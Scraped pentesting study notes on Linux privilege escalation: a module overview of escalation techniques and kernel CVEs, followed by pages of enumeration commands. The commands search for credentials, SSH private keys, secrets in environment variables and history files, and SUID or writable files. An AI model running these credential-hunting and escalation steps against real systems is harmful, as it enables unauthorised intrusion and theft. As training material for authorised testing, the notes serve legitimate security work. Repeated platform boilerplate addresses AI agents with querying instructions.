Skip to main content

Agent Instructions

This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the ask query parameter:
GET https://kabaneridev.gitbook.io/pentesting-notes/certification-preparation/cpts-prep/linux-privilege-escalation.md?ask=<question>
The question should be specific, self-contained, and written in natural language. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.

Module Overview

🎯 Overview

This module covers comprehensive Linux privilege escalation techniques, methodologies, and tools. Linux privilege escalation is a critical skill for penetration testers, as it allows gaining elevated access on compromised Linux systems through various attack vectors.
⚠️ Note: Module includes advanced kernel exploitation techniques that should be used with extreme caution and proper understanding of system stability risks.

📚 Module Structure

linux-priv-esc/
├── README.md                          # This overview file
├── environment-enumeration.md         # System reconnaissance and information gathering
├── services-internals-enumeration.md # Deep system analysis and service enumeration
├── credential-hunting.md              # Systematic credential discovery across file system
├── path-abuse.md                      # PATH variable manipulation and command hijacking
├── wildcard-abuse.md                  # Wildcard character exploitation for privilege escalation
├── escaping-restricted-shells.md      # Techniques for breaking out of restricted shells
├── special-permissions.md             # SUID/SGID binary exploitation and GTFOBins
├── sudo-rights-abuse.md               # Sudo privilege misconfigurations and GTFOBins exploitation
├── privileged-groups.md               # LXD, Docker, Disk, ADM group privilege escalation
├── capabilities.md                    # Linux capabilities privilege escalation exploitation
├── vulnerable-services.md             # Known service vulnerabilities and exploitation
├── cron-job-abuse.md                  # Cron job misconfiguration exploitation
├── lxd-container-escape.md            # LXD container privilege escalation exploitation
├── docker-container-escape.md         # Docker container privilege escalation exploitation
├── logrotate-exploitation.md          # Logrotate vulnerability exploitation and race conditions
├── miscellaneous-techniques.md        # Additional techniques (traffic capture, NFS, tmux hijacking)
├── shared-libraries.md                # LD_PRELOAD shared library hijacking exploitation
├── shared-object-hijacking.md         # Custom library RUNPATH hijacking exploitation
├── python-library-hijacking.md        # Python module import hijacking exploitation
├── sudo-cve-exploits.md               # Sudo CVE exploitation (Baron Samedit, Policy Bypass)
├── polkit-pwnkit.md                   # Polkit CVE-2021-4034 Pwnkit privilege escalation
├── dirty-pipe.md                      # Dirty Pipe CVE-2022-0847 kernel vulnerability exploitation
├── netfilter-kernel-exploits.md       # Netfilter kernel module CVE exploits (advanced)
├── linux-hardening.md                 # Defensive measures and system hardening practices
├── permissions-based-privesc.md       # File permissions, SUID/SGID exploitation
├── service-based-privesc.md          # Running services and process exploitation
├── configuration-based-privesc.md     # Misconfigurations and weak settings
├── kernel-exploitation.md            # Operating system vulnerabilities
├── application-specific-privesc.md   # Vulnerable installed software
├── automated-tools.md                # LinPEAS, LinEnum, and enumeration scripts
├── persistence-techniques.md         # Maintaining elevated access
└── skills-assessment.md              # Practical exercises and challenges

🚀 Getting Started

Prerequisites

  • Basic Linux Knowledge: Command line familiarity
  • Initial Access: Shell on target Linux system
  • Methodology Understanding: Systematic approach to enumeration
  • Tool Familiarity: Common privilege escalation tools

Attack Flow

Initial Access → Environment Enumeration → Vulnerability Identification → Privilege Escalation → Persistence

📋 Module Content

Completed Sections

📊 Complete Coverage: 24 privilege escalation techniques from basic enumeration to advanced kernel exploitation

🔍 Environment Enumeration

  • System Information Gathering - OS version, kernel, hardware details
  • User and Group Analysis - Account enumeration and permission mapping
  • Network Configuration - Interface analysis and internal network discovery
  • File System Analysis - Mounted drives, hidden files, temporary directories
  • Security Controls Detection - Firewall, SELinux, AppArmor identification
  • Initial Reconnaissance Checklist - Systematic enumeration workflow

🔧 Services & Internals Enumeration

  • Running Services Analysis - Process enumeration and service identification
  • User Activity Investigation - Login history, current users, command history
  • Scheduled Tasks Discovery - Cron jobs, systemd timers, automation scripts
  • Installed Software Assessment - Package analysis and GTFObins cross-reference
  • Configuration File Discovery - System configs, application settings, credentials
  • Process Investigation - System calls, memory analysis, /proc filesystem

🔍 Credential Hunting

  • File System Credential Search - Configuration files, scripts, backups with stored secrets
  • SSH Key Discovery - Private keys, known_hosts analysis, lateral movement opportunities
  • Database Credential Extraction - WordPress, MySQL, PostgreSQL, application databases
  • History File Investigation - Bash history, command logs, user activity traces
  • Advanced Discovery Techniques - Memory analysis, environment variables, process inspection

🛤️ PATH Abuse

  • PATH Variable Manipulation - Directory precedence exploitation and command hijacking
  • Writable Directory Detection - PATH enumeration and write permission analysis
  • Script Hijacking Techniques - Sudo scripts, cron jobs, and relative command exploitation
  • Binary Substitution Attacks - Malicious script creation and execution interception

🌟 Wildcard Abuse

  • Shell Wildcard Exploitation - Argument injection through filename expansion
  • tar Command Abuse - checkpoint-action exploitation for command execution
  • Cron Job Targeting - Automated wildcard script exploitation
  • Command Injection Payloads - Sudo privilege escalation and SUID binary creation

🚪 Escaping Restricted Shells

  • SSH Bypass Techniques - Remote shell restriction circumvention
  • Command Substitution Escapes - Backtick and $() exploitation
  • Environment Variable Abuse - SHELL and PATH variable manipulation
  • Built-in Command Exploitation - Vi, less, man page escape sequences

🔐 Special Permissions

  • SUID/SGID Binary Discovery - Finding and enumerating special permission files
  • GTFOBins Exploitation - Leveraging known privilege escalation binaries
  • Common Binary Abuse - Text editors, interpreters, file utilities exploitation
  • Custom Binary Analysis - Reverse engineering and shared library hijacking

Sudo Rights Abuse

  • Sudo Permission Enumeration - Identifying misconfigured sudo privileges
  • GTFOBins Sudo Exploitation - Text editors, interpreters, system tools abuse
  • Advanced Sudo Techniques - Command injection, wildcard abuse, environment manipulation

👑 Privileged Groups

  • Container Group Exploitation - LXD/LXC and Docker group privilege escalation
  • System Group Abuse - Disk, ADM, shadow group privilege vectors
  • Direct Root Access - Container mounting and raw device manipulation

🎭 Capabilities

  • Capability Enumeration - Finding binaries with dangerous capability assignments
  • File Permission Bypass - cap_dac_override exploitation for system file modification
  • UID/GID Manipulation - cap_setuid/cap_setgid abuse for privilege escalation

⚙️ Vulnerable Services

  • Service Version Enumeration - Identifying outdated software with known vulnerabilities
  • Screen 4.5.0 Exploitation - CVE-2017-5618 ld.so.preload overwrite attack
  • Common Service CVEs - Apache, Nginx, MySQL, SSH, Sudo vulnerability identification

Cron Job Abuse

  • Cron Job Discovery - Finding scheduled tasks and writable script identification
  • Process Monitoring - pspy usage for cron job pattern detection
  • Script Modification Attacks - Command injection and reverse shell payloads

🐳 LXD Container Escape

  • LXD Group Exploitation - Container manager privilege escalation techniques
  • Privileged Container Creation - Host filesystem mounting and root access
  • Container Image Management - Importing and utilizing existing container images

🐋 Docker Container Escape

  • Docker Group Exploitation - Container runtime privilege escalation techniques
  • Host Filesystem Mounting - Volume mounting for direct host access
  • Privileged Container Execution - Bypassing container isolation mechanisms

📜 Logrotate Exploitation

  • Logrotate Vulnerability Assessment - Version identification and prerequisite verification
  • Logrotten Exploit Execution - Race condition exploitation for privilege escalation
  • Configuration Mode Analysis - Create vs compress mode detection and exploitation

🔧 Miscellaneous Techniques

  • Passive Traffic Capture - Network sniffing for credential extraction using tcpdump
  • Weak NFS Privileges - no_root_squash exploitation for SUID binary upload
  • Tmux Session Hijacking - Privileged session attachment through weak socket permissions

📚 Shared Libraries

  • LD_PRELOAD Exploitation - Environment variable abuse for shared library injection
  • Malicious Library Creation - Custom shared object compilation and deployment
  • Sudo Environment Bypass - Transforming safe commands into privilege escalation vectors

🎯 Shared Object Hijacking

  • RUNPATH Directory Exploitation - Writable library path hijacking in SUID binaries
  • Custom Library Injection - Missing function implementation for privilege escalation
  • Binary Dependency Analysis - ldd and readelf usage for vulnerability identification

🐍 Python Library Hijacking

  • Python Module Import Exploitation - sys.path manipulation and module precedence abuse
  • PYTHONPATH Environment Abuse - Environment variable manipulation for import redirection
  • Writable Module Directory Hijacking - Higher-priority path exploitation for code injection

🚨 Sudo CVE Exploits

  • CVE-2021-3156 Baron Samedit - Heap buffer overflow exploitation for immediate root access
  • CVE-2019-14287 Policy Bypass - Negative user ID exploitation for privilege escalation
  • Version-Specific Exploitation - OS and sudo version correlation for successful exploitation

🔐 Polkit/Pwnkit

  • CVE-2021-4034 Pwnkit Exploitation - Memory corruption in pkexec for universal privilege escalation
  • Polkit Authorization Bypass - PolicyKit service vulnerability affecting most Linux distributions
  • Zero-Prerequisite Escalation - Any local user exploitation without special permissions

💧 Dirty Pipe

  • CVE-2022-0847 Kernel Exploitation - Pipe mechanism abuse for arbitrary file writes as root
  • Kernel Version Targeting - Vulnerability affecting Linux kernels 5.8-5.17
  • File Modification Attacks - /etc/passwd modification and SUID binary hijacking techniques

🌐 Netfilter Kernel Exploits (Advanced)

  • Multiple Kernel CVEs - CVE-2021-22555, CVE-2022-25636, CVE-2023-32233 exploitation
  • Wide Kernel Range Coverage - Targeting kernels from 2.6 to 6.3.1 versions
  • High-Risk Exploitation - Kernel-level attacks with system stability considerations

🛡️ Linux Hardening

  • Defensive Security Measures - Comprehensive hardening practices and configuration management
  • Update Management - Kernel and package update strategies for vulnerability mitigation
  • Security Auditing - Lynis scanner usage and custom hardening validation scripts

🎯 Module Complete

This comprehensive Linux Privilege Escalation module covers 24 complete techniques ranging from basic enumeration to advanced kernel exploitation, providing thorough coverage of all major privilege escalation vectors in Linux environments. Skill progression: Basic enumeration → Configuration attacks → Service exploitation → Container escapes → Kernel exploits → Defensive hardening

🛠️ Tools and Techniques

Manual Enumeration

  • System Commands: uname, id, whoami, sudo -l
  • File System: find, ls, cat, grep
  • Network: ifconfig, netstat, route, arp
  • Process: ps, top, systemctl, service

Automated Tools

  • LinPEAS: Comprehensive Linux enumeration
  • LinEnum: Classic privilege escalation enumeration
  • linux-smart-enumeration: Intelligent selective enumeration
  • PEASS-ng: Advanced privilege escalation suite

Exploitation Frameworks

  • Metasploit: Post-exploitation modules
  • GTFOBins: Living off the land binaries
  • ExploitDB: Public exploit database
  • Custom Scripts: Tailored enumeration and exploitation
  • Kernel Exploits: CVE-specific exploits (⚠️ High risk - use with caution)

🎯 Learning Objectives

By completing this module, you will be able to:
  1. Perform systematic environment enumeration on Linux systems
  2. Identify privilege escalation vectors through various attack surfaces
  3. Exploit common misconfigurations to gain elevated privileges
  4. Utilize automated tools effectively while understanding manual techniques
  5. Maintain persistence after successful privilege escalation
  6. Document findings professionally for penetration test reports

🛡️ Defensive Considerations

Common Misconfigurations

  • Excessive sudo permissions
  • Writable files in PATH
  • SUID binaries on sensitive executables
  • Unpatched kernel vulnerabilities
  • Service running as root unnecessarily

Hardening Recommendations

  • Regular system updates and patching (especially kernel updates)
  • Principle of least privilege enforcement
  • File permission auditing
  • Service account isolation
  • Monitoring and logging implementation
  • Special attention to kernel exploits - Advanced techniques require careful testing

📖 Prerequisites Knowledge

Linux Fundamentals

  • Command line navigation
  • File system structure
  • User and group concepts
  • Process management
  • Network configuration basics

Security Concepts

  • Unix permissions model
  • SUID/SGID concepts
  • Service architecture
  • Kernel space vs user space
  • Authentication and authorization

🏆 Success Metrics

Skill Development Goals

  • Manual Enumeration Proficiency: Perform thorough recon without tools
  • Attack Vector Recognition: Identify privilege escalation opportunities
  • Tool Integration: Combine manual and automated techniques effectively
  • Stealth Operations: Conduct enumeration without detection
  • Documentation Skills: Create comprehensive findings reports

Practical Milestones

  • Successfully escalate privileges on various Linux distributions
  • Identify and exploit SUID/SGID vulnerabilities
  • Abuse service misconfigurations for privilege escalation
  • Utilize kernel exploits safely and effectively (with caution for advanced techniques)
  • Establish persistent elevated access
  • Master 24 different privilege escalation techniques including advanced kernel exploits and defensive hardening

This Linux Privilege Escalation module provides comprehensive coverage of techniques, tools, and methodologies for gaining elevated privileges on Linux systems, essential for penetration testers and security professionals.

Agent Instructions

This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the ask query parameter:
GET https://kabaneridev.gitbook.io/pentesting-notes/certification-preparation/cpts-prep/linux-privilege-escalation/linux-priv-esc.md?ask=<question>
The question should be specific, self-contained, and written in natural language. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.

Environment Enumeration

🎯 Overview

Environment enumeration is the foundation of successful Linux privilege escalation. After gaining initial access to a Linux host, systematic enumeration helps identify potential attack vectors, misconfigurations, and valuable information that can lead to privilege escalation.
“Enumeration is the key to privilege escalation. Understanding what pieces of information to look for and being able to perform enumeration manually is crucial for success.”

🚀 Initial Situational Awareness

Fundamental Orientation Commands

Before diving deep into enumeration, establish basic situational awareness:
# Current user context
whoami                 # What user are we running as?
id                     # What groups does our user belong to?

# System identification  
hostname               # Server name and naming conventions
uname -a              # Kernel and system information

# Network position
ifconfig              # Network interfaces and subnets
ip a                  # Alternative network interface command

# Privilege check
sudo -l               # Can we run anything with sudo without password?
Why This Matters:
  • Documentation: Screenshots provide evidence of successful RCE
  • System Identification: Clearly identify the affected system
  • Quick Wins: sudo -l can sometimes provide immediate escalation paths

🔍 Operating System Enumeration

System Version Detection

Check OS Distribution and Version:
cat /etc/os-release
Example Output:
NAME="Ubuntu"
VERSION="20.04.4 LTS (Focal Fossa)"
ID=ubuntu
ID_LIKE=debian
PRETTY_NAME="Ubuntu 20.04.4 LTS"
VERSION_ID="20.04"
VERSION_CODENAME=focal
UBUNTU_CODENAME=focal
Analysis Points:
  • Distribution Type: Ubuntu, CentOS, Debian, SUSE, etc.
  • Version Currency: Is the system maintained or end-of-life?
  • LTS Status: Long Term Support versions typically more secure
  • Release Lifecycle: Check if version has known vulnerabilities

Alternative OS Detection Methods

# Additional OS information sources
cat /etc/issue
cat /etc/redhat-release    # Red Hat/CentOS systems
cat /etc/debian_version    # Debian-based systems
lsb_release -a            # LSB information (if available)

⚙️ System Environment Analysis

PATH Variable Examination

Check Current PATH:
echo $PATH
Typical Output:
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin
Security Implications:
  • PATH Hijacking: Writable directories in PATH can be exploited
  • Custom Paths: Non-standard paths may contain vulnerable binaries
  • Order Matters: Earlier directories take precedence

Environment Variables

Enumerate All Environment Variables:
env
Look for Sensitive Information:
env | grep -i pass
env | grep -i key
env | grep -i secret
env | grep -i token
Common Sensitive Variables:
  • Database passwords
  • API keys
  • Service credentials
  • Custom application secrets

🔧 Kernel and Hardware Information

Kernel Version Analysis

Get Kernel Information:
uname -a
cat /proc/version
Example Output:
Linux nixlpe02 5.4.0-122-generic #138-Ubuntu SMP Wed Jun 22 15:00:31 UTC 2022 x86_64 x86_64 x86_64 GNU/Linux
Key Information:
  • Kernel Version: 5.4.0-122-generic
  • Build Date: Wed Jun 22 15:00:31 UTC 2022
  • Architecture: x86_64
  • Distribution: Ubuntu

CPU and Hardware Details

CPU Information:
lscpu
Memory Information:
free -h
cat /proc/meminfo
Hardware Details:
lshw -short          # Hardware overview
dmidecode -t system  # System information (requires root)

🐚 Available Shells and Interpreters

Login Shell Enumeration

Available Shells:
cat /etc/shells
Example Output:
/bin/sh
/bin/bash
/usr/bin/bash
/bin/rbash
/usr/bin/rbash
/bin/dash
/usr/bin/dash
/usr/bin/tmux
/usr/bin/screen
Security Considerations:
  • Shell Vulnerabilities: Older bash versions vulnerable to Shellshock
  • Restricted Shells: rbash may limit command execution
  • Session Management: tmux/screen available for persistence
  • Interpreter Versions: Check for vulnerable versions
Shell Version Checking:
bash --version
/bin/sh --version
which python python3 perl ruby

🛡️ Security Controls Detection

Identify Active Security Mechanisms

Common Security Tools to Check:
# Firewall Status
iptables -L 2>/dev/null
ufw status 2>/dev/null
firewall-cmd --state 2>/dev/null

# SELinux Status  
sestatus 2>/dev/null
getenforce 2>/dev/null

# AppArmor Status
apparmor_status 2>/dev/null
aa-status 2>/dev/null

# Fail2Ban
systemctl status fail2ban 2>/dev/null
fail2ban-client status 2>/dev/null

# Process monitoring
ps aux | grep -E "(snort|aide|tripwire|rkhunter|chkrootkit)"
Why This Matters:
  • Attack Vector Selection: Avoid triggering active defenses
  • Stealth Considerations: Understand monitoring capabilities
  • Privilege Requirements: Some enumeration requires elevated privileges

💾 Storage and File System Analysis

Block Device Enumeration

List Block Devices:
lsblk
Example Output:
NAME                      MAJ:MIN RM  SIZE RO TYPE MOUNTPOINT
sda                         8:0    0   20G  0 disk 
├─sda1                      8:1    0    1M  0 part 
├─sda2                      8:2    0    1G  0 part /boot
└─sda3                      8:3    0   19G  0 part 
  └─ubuntu--vg-ubuntu--lv 253:0    0   18G  0 lvm  /
sr0                        11:0    1  908M  0 rom 
loop0                       7:0    0   55M  1 loop /snap/core18/1705
Analysis Points:
  • Additional Drives: Unmounted drives may contain sensitive data
  • LVM Configuration: Logical volume management
  • Loop Devices: Snap packages and containers
  • USB/External: Removable media

Mounted File Systems

Current Mounts:
mount
df -h
File System Table:
cat /etc/fstab
Look for:
  • Credentials in fstab: Embedded passwords for network shares
  • Unusual Mounts: NFS, SMB shares with interesting permissions
  • Temporary Mounts: Recently mounted drives
Network Shares:
cat /etc/fstab | grep -E "(cifs|nfs|smbfs)"

Unmounted File Systems

Check for Unmounted Devices:
cat /etc/fstab | grep -v "#" | column -t
fdisk -l 2>/dev/null
Potential Findings:
  • Backup Drives: May contain sensitive historical data
  • Development Partitions: Source code and credentials
  • Hidden Partitions: Deliberately concealed data

🌐 Network Configuration Analysis

Network Interface Information

Interface Configuration:
ifconfig -a
ip addr show
ip link show
Routing Information:
route -n
ip route show
netstat -rn
Example Routing Table:
Kernel IP routing table
Destination     Gateway         Genmask         Flags Metric Ref    Use Iface
default         _gateway        0.0.0.0         UG    0      0        0 ens192
10.129.0.0      0.0.0.0         255.255.0.0     U     0      0        0 ens192

Network Reconnaissance

ARP Table Analysis:
arp -a
ip neigh show
DNS Configuration:
cat /etc/resolv.conf
Network Connections:
netstat -tulpn
ss -tulpn
lsof -i
Why Network Info Matters:
  • Internal Networks: Identify additional network segments
  • Domain Environment: DNS servers may indicate Active Directory
  • Communication Patterns: ARP table shows recent host interactions
  • Service Discovery: Listening services and their processes

👥 User and Group Enumeration

User Account Analysis

All System Users:
cat /etc/passwd
Extract Usernames:
cat /etc/passwd | cut -f1 -d:
Users with Shell Access:
grep "sh$" /etc/passwd
Password Hash Formats:
AlgorithmHash Format
Salted MD5$1$...
SHA-256$5$...
SHA-512$6$...
BCrypt$2a$...
Scrypt$7$...
Argon2$argon2i$...
User Analysis Examples:
# Check for users with login shells
grep -E "/bin/(bash|sh|zsh|csh|tcsh|fish)$" /etc/passwd

# Look for service accounts
grep -E "daemon|www-data|nginx|apache|mysql|postgres" /etc/passwd

# Find recently created users (high UID numbers)
awk -F: '$3 >= 1000 {print $1":"$3}' /etc/passwd

Group Membership Analysis

All Groups:
cat /etc/group
High-Privilege Groups:
# sudo group members
getent group sudo

# admin group members  
getent group admin

# wheel group (on some systems)
getent group wheel

# docker group (container access)
getent group docker
Current User Groups:
groups
id

🏠 Home Directory Investigation

User Home Directories

List Home Directories:
ls -la /home
Search for Interesting Files:
# Configuration files
find /home -name ".*rc" -type f 2>/dev/null
find /home -name "*.conf" -type f 2>/dev/null

# History files
find /home -name "*history*" -type f 2>/dev/null

# SSH keys
find /home -name "id_*" -type f 2>/dev/null
find /home -name "authorized_keys" -type f 2>/dev/null

# Scripts and automation
find /home -name "*.sh" -type f 2>/dev/null
find /home -name "*.py" -type f 2>/dev/null
Common Sensitive Files:
# Check readable bash history
ls -la /home/*/.bash_history

# Look for notes and documentation
find /home -name "*note*" -type f 2>/dev/null
find /home -name "*password*" -type f 2>/dev/null
find /home -name "*cred*" -type f 2>/dev/null

🔍 Hidden Files and Directories

All Hidden Files:
find / -type f -name ".*" -exec ls -l {} \; 2>/dev/null | head -20
Hidden Directories:
find / -type d -name ".*" -ls 2>/dev/null
User-Specific Hidden Files:
find /home -type f -name ".*" -exec ls -l {} \; 2>/dev/null
Common Hidden Configuration Files:
  • .bashrc, .bash_profile, .profile
  • .vimrc, .nanorc
  • .ssh/config, .ssh/known_hosts
  • .mysql_history, .lesshst
  • .wget-hsts, .gitconfig

📁 Temporary Files and Directories

Temporary File Analysis

Standard Temporary Directories:
ls -la /tmp
ls -la /var/tmp
ls -la /dev/shm
File Retention Policies:
  • /tmp: Files deleted after 10 days or on reboot
  • /var/tmp: Files retained up to 30 days
  • /dev/shm: In-memory filesystem, lost on reboot
Search for Interesting Temporary Files:
# Recently created files
find /tmp -type f -mtime -1 2>/dev/null
find /var/tmp -type f -mtime -1 2>/dev/null

# Files containing sensitive keywords
grep -r -i "password\|secret\|key" /tmp/ 2>/dev/null
grep -r -i "password\|secret\|key" /var/tmp/ 2>/dev/null
Process-Specific Temp Files:
# Look for application-specific temp directories
ls -la /tmp/ | grep -E "(apache|nginx|mysql|postgres|ssh)"
ls -la /var/tmp/ | grep -E "(systemd|service)"

📋 Systematic Enumeration Checklist

Phase 1: Basic Orientation

  • Run whoami, id, hostname
  • Check sudo -l for immediate privilege escalation
  • Document network position with ifconfig
  • Screenshot basic system info

Phase 2: System Information

  • OS version and distribution (/etc/os-release)
  • Kernel version (uname -a)
  • Available shells (/etc/shells)
  • CPU and memory information (lscpu, free -h)

Phase 3: Environment Analysis

  • PATH variable enumeration (echo $PATH)
  • Environment variables (env)
  • Security controls detection
  • Network configuration (route, arp -a)

Phase 4: User and Permission Analysis

  • User enumeration (/etc/passwd)
  • Group analysis (/etc/group)
  • Home directory investigation
  • SSH key discovery

Phase 5: File System Analysis

  • Mounted file systems (df -h, mount)
  • Hidden files and directories
  • Temporary file analysis
  • Block device enumeration (lsblk)

Phase 6: Documentation and Analysis

  • Compile sensitive findings
  • Test discovered credentials
  • Plan privilege escalation approach
  • Document attack vectors

💡 Key Findings to Look For

High-Impact Discoveries

Immediate Privilege Escalation:
  • sudo -l showing passwordless commands
  • SUID binaries with known exploits
  • Writable files in PATH
  • Kernel version with public exploits
Credential Discovery:
  • Passwords in configuration files
  • SSH private keys
  • Database credentials
  • API keys and tokens
Attack Vector Identification:
  • Vulnerable services running as root
  • Misconfigured file permissions
  • Unpatched software versions
  • Interesting cron jobs
Network Pivot Opportunities:
  • Multiple network interfaces
  • SSH keys for other systems
  • Database connections
  • Internal service discovery

⚠️ Common Pitfalls and Considerations

Enumeration Best Practices

Stealth Considerations:
  • Some commands may generate logs
  • Avoid running as root unless necessary
  • Be mindful of file access times
  • Consider detection mechanisms
System Stability:
  • Kernel exploits can crash systems
  • Be careful with production environments
  • Test in controlled settings first
  • Have backup access methods
Thoroughness vs. Speed:
  • Balance comprehensive enumeration with time constraints
  • Prioritize high-impact areas first
  • Use automation tools as supplements
  • Develop efficient manual workflows

🛠️ Automation and Tools

Manual vs. Automated Enumeration

When to Use Manual Enumeration:
  • Learning and understanding system internals
  • Customized searches based on findings
  • Stealth requirements
  • Limited tool availability
Complementary Automated Tools:
  • LinPEAS: Comprehensive Linux enumeration
  • LinEnum: Classic enumeration script
  • linux-smart-enumeration: Selective enumeration
  • PEASS-ng: Advanced privilege escalation
Integration Strategy:
  1. Perform initial manual enumeration
  2. Run automated tools for comprehensive coverage
  3. Cross-reference findings
  4. Focus manual investigation on promising vectors

📚 Next Steps

After completing environment enumeration, proceed to:
  1. Permissions-based Privilege Escalation: File permissions, SUID/SGID
  2. Service-based Privilege Escalation: Running services and processes
  3. Configuration-based Attacks: Misconfigurations and weak settings
  4. Kernel Exploitation: Operating system vulnerabilities
  5. Application-specific Attacks: Vulnerable installed software

Environment enumeration provides the foundation for all subsequent privilege escalation attempts. Thorough initial reconnaissance significantly increases the likelihood of successful privilege escalation and helps identify the most efficient attack paths.

Agent Instructions

This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the ask query parameter:
GET https://kabaneridev.gitbook.io/pentesting-notes/certification-preparation/cpts-prep/linux-privilege-escalation/environment-enumeration.md?ask=<question>
The question should be specific, self-contained, and written in natural language. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.

Services & Internals Enumeration

🎯 Overview

Deep enumeration of running services, internal processes, user activities, and system internals to identify privilege escalation vectors and attack opportunities.

🌐 Network Internals

Network Interfaces & Connectivity

# Network interfaces (pivot opportunities)
ip a
ifconfig -a

# Hosts file analysis
cat /etc/hosts

# Check for internal networks and additional interfaces

👥 User Activity Analysis

Login History & Current Users

# User login history
lastlog

# Currently logged users
w
who

# Recent user activity
last
Look for:
  • Active admin users
  • Login patterns and timing
  • Remote connections (SSH sessions)
  • Shared accounts

Command History Investigation

# Current user history
history

# All user history files
find / -type f \( -name *_hist -o -name *_history \) -exec ls -l {} \; 2>/dev/null

# Bash history files
cat /home/*/.bash_history 2>/dev/null
cat /root/.bash_history 2>/dev/null
Search for Sensitive Commands:
history | grep -i "pass\|key\|secret\|sudo\|su\|mysql\|ssh"

⏰ Scheduled Tasks & Automation

Cron Job Enumeration

# System cron jobs
ls -la /etc/cron*
cat /etc/crontab

# User cron jobs
crontab -l
ls -la /var/spool/cron/crontabs/

# Systemd timers
systemctl list-timers
Analysis Points:
  • Scripts running as root
  • Writable paths in cron jobs
  • File permission issues
  • Backup scripts with credentials

📦 Installed Software & Packages

Package Analysis

# Installed packages
apt list --installed | tr "/" " " | cut -d" " -f1,3 | sed 's/[0-9]://g' | tee installed_pkgs.list

# Sudo version (vulnerability check)
sudo -V

# Available binaries
ls -l /bin /usr/bin/ /usr/sbin/

GTFObins Cross-Reference

# Check for GTFObins binaries
for i in $(curl -s https://gtfobins.github.io/ | html2text | cut -d" " -f1 | sed '/^[[:space:]]*$/d');do if grep -q "$i" installed_pkgs.list;then echo "Check GTFO for: $i";fi;done

🔍 Process & Service Analysis

Running Processes

# All running processes
ps aux

# Processes by user
ps aux | grep root
ps aux | grep www-data

# Process tree
pstree -p

# Services and sockets
systemctl list-units --type=service
systemctl list-sockets
ss -tulpn

Process Investigation

# Trace system calls (detailed analysis)
strace ping -c1 target_ip

# Process command lines
find /proc -name cmdline -exec cat {} \; 2>/dev/null | tr " " "\n"

# Memory maps
cat /proc/*/maps 2>/dev/null | grep -E "(rwx|rw-)" | head

📁 Configuration & Script Discovery

Configuration Files

# Find all config files
find / -type f \( -name *.conf -o -name *.config \) -exec ls -l {} \; 2>/dev/null

# Database configs
find / -name "*sql*" -type f 2>/dev/null
find / -name "*db*" -type f 2>/dev/null

# Web application configs
find /var/www -name "*.conf" -o -name "config.*" 2>/dev/null
find /etc -name "*apache*" -o -name "*nginx*" 2>/dev/null

Script Discovery

# All shell scripts
find / -type f -name "*.sh" 2>/dev/null | grep -v "src\|snap\|share"

# Recently modified scripts
find / -name "*.sh" -mtime -7 2>/dev/null

# Writable scripts
find / -type f -name "*.sh" -writable 2>/dev/null

🔍 System Internals

/proc Filesystem Analysis

# System information from /proc
cat /proc/version
cat /proc/cpuinfo
cat /proc/meminfo

# Network information
cat /proc/net/tcp
cat /proc/net/udp
cat /proc/net/route

# Module information
lsmod
cat /proc/modules

File System Details

# Recently modified files
find / -type f -mtime -1 2>/dev/null | head -20

# Large files (potential data stores)
find / -type f -size +10M 2>/dev/null

# Files modified in last 24 hours
find / -type f -mtime 0 2>/dev/null

🛠️ Available Tools Assessment

Development Tools

# Compilers and interpreters
which gcc g++ python python3 perl ruby node java
dpkg -l | grep -E "(python|perl|ruby|gcc|java)"

# Network tools
which netcat nc nmap curl wget socat telnet

# System tools  
which strace ltrace gdb

Useful Binaries for Privesc

# SUID/SGID binaries
find / -type f \( -perm -4000 -o -perm -2000 \) 2>/dev/null

# Writable directories in PATH
echo $PATH | tr ':' '\n' | xargs ls -ld 2>/dev/null

# World-writable files
find / -type f -perm -002 2>/dev/null | head -20

📊 Quick Enumeration Script

#!/bin/bash
echo "=== LINUX SERVICES & INTERNALS ENUMERATION ==="

echo "[+] Network Interfaces:"
ip a | grep -E "(inet|ens|eth|lo)"

echo "[+] Currently Logged Users:"
w

echo "[+] Running Services (root):"
ps aux | grep root | head -10

echo "[+] Cron Jobs:"
ls -la /etc/cron* 2>/dev/null

echo "[+] SUID Binaries:"
find / -type f -perm -4000 2>/dev/null | head -10

echo "[+] Recent Files:"
find / -type f -mtime -1 2>/dev/null | head -10

echo "[+] Available Tools:"
which python python3 gcc netcat nc curl wget 2>/dev/null

echo "[+] Sudo Version:"
sudo -V 2>/dev/null | head -1

🎯 Key Targets to Identify

High-Value Information

  • Active admin sessions - Target for credential stealing
  • Vulnerable services - Running as root with known CVEs
  • Scheduled tasks - Cron jobs with misconfigurations
  • Config files - Containing passwords or sensitive data
  • Development tools - Compilers for exploit compilation
  • Network tools - For lateral movement and pivoting

Attack Vector Prioritization

  1. SUID/SGID binaries with GTFObins entries
  2. Root processes with configuration vulnerabilities
  3. Writable cron jobs or scripts executed by root
  4. Readable config files with embedded credentials
  5. Development environments with compilation capabilities

Services and internals enumeration reveals the operational heartbeat of the system - identifying running processes, user activities, and system configurations that can be leveraged for privilege escalation.

Agent Instructions

This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the ask query parameter:
